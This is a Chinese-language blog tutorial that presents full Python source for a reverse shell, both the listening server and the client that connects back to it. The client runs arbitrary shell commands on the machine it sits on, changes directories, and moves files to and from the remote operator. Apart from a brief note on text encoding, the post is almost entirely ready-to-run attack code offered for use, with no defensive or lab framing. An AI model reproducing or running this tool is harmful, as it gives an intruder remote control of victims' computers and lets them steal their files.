利用Python实现反向Shell的文件上传与下载
本文代码是基于此前的代码的进一步功能增强,之前代码主要实现命令的执行以及结果的回送,本文代码主要实现文件的下载,这里需要注意在客户端以及服务端的编码的处理,否则会出现此类报错,而且两端都要做编码处理。
服务端:
import socket
import sys
import json #该模块用于对传输的数据进行序列化处理,以实现可靠传输
class Reverseserver:
def __init__(self,port): #初始化方法或者constructor主要用于创建服务器的socket
self.port = port
server_s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
server_s.bind(('0.0.0.0', self.port))
server_s.listen(5)
print("Waiting for connection.....")
self.connection, self.client_address = server_s.accept()
print("Connected from : %s %s" % (self.client_address[0], self.client_address[1]))
except Exception as e:
print('Failed to set up server')
print(e)
sys.exit()
def reliable_send(self, data): #实现可靠的发送,也就是将要传输的数据(无论是什么数据,包括列表类数据)用json进行封装
json_data = json.dumps(data)
self.connection.send(json_data.encode('utf-8')) #python3要求在传送之前要进行编码,否则会报错
def reliable_receive(self): #实现可靠的接收,一直接收来自缓冲区的数据,但没有传输完整的情况下,用json进行解封装会报错,因此利用这个异常处理可以知道:利用循环持续接收收据,捕捉到VaueEorr异常说明数据传输不完整
received_json_data = ""
while True:
try:
received_json_data = received_json_data + self.connection.recv(1024).decode('utf-8')
return json.loads(received_json_data)
except ValueError:
continue
def write_file(self, path, content):
with open(path, 'wb') as f:
f.write(content.encode('utf-8'))
return "Download Successful."
def read_file(self, path):
with open(path, 'rb') as f:
return f.read().decode('utf-8')
def execute_remote(self, command):
self.reliable_send(command)
if command[0] == 'exit':
self.connection.close()
sys.exit(0)
return self.reliable_receive()
def run(self):
while True:
command = input("%s $ " % str(self.client_address))
command = command.split(" ")
if command[0] == 'upload':
file_content = self.read_file(command[1])
command.append(file_content)
res = self.execute_remote(command)
if command[0] == 'download':
res = self.write_file(command[1], res)
print(res)
my_server = Reverseserver(8888)
my_server.run()
客户端代码:
import subprocess
import optparse
import sys
import socket
import json
import os
class ReverseShell:
def __init__(self, server_ip, port):
self.server_ip = server_ip
self.port = port
self.client_s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.client_s.connect((server_ip, self.port))
def reliable_send(self, data):
json_data = json.dumps(data)
self.client_s.send(json_data.encode('utf-8'))
def reliable_receive(self):
received_json_data = ""
while True:
try:
received_json_data = received_json_data + self.client_s.recv(1024).decode('utf-8')
return json.loads(received_json_data)
except ValueError:
continue
def execute_command(self, command):
try:
res = subprocess.check_output(command, shell=True,stderr=subprocess.STDOUT, encoding='GBK')
return res
except:
return 'Failed to execute'
def change_to_directory(self, path):
os.chdir(path)
return "Changed to the directory: %s" % path
def read_file(self, path):
with open(path, 'rb') as f:
return f.read().decode('utf-8')
def write_file(self, path, content):
with open(path, 'wb') as f:
f.write(content.encode('utf-8'))
return "Download Successful."
def download_file(self, path):
if not os.path.exists(path):
return "The file does not exist."
file_content = self.read_file(path)
return file_content
def start(self):
while True:
command = self.reliable_receive()
if command[0] == 'exit':
self.client_s.close()
sys.exit(0)
elif command[0] == 'cd' and len(command)>1:
output = self.change_to_directory(command[1])
# print(receive_data)
elif command[0] == 'download':
output = self.download_file(command[1])
elif command[0] == 'upload':
output = self.write_file(command[1],command[2])
else:
output = self.execute_command(command)
self.reliable_send(output)
if __name__ == "__main__":
parser = optparse.OptionParser(usage='<Program -s IP -p port')
parser.add_option('-s', '--server', dest='server_ip', type='string', help="Sepcify the IP address of server")
parser.add_option('-p', '--port', dest='port', type='int', help='Specify the port of server')
options, args = parser.parse_args()
if options.server_ip is None:
print(parser.usage)
sys.exit()
if options.port is None:
print(parser.usage)
server_ip = options.server_ip
port = options.port
my_reserver_shell = ReverseShell(server_ip, port)
my_reserver_shell.start()
STRIVE FOR PROGRESS,NOT FOR PERFECTION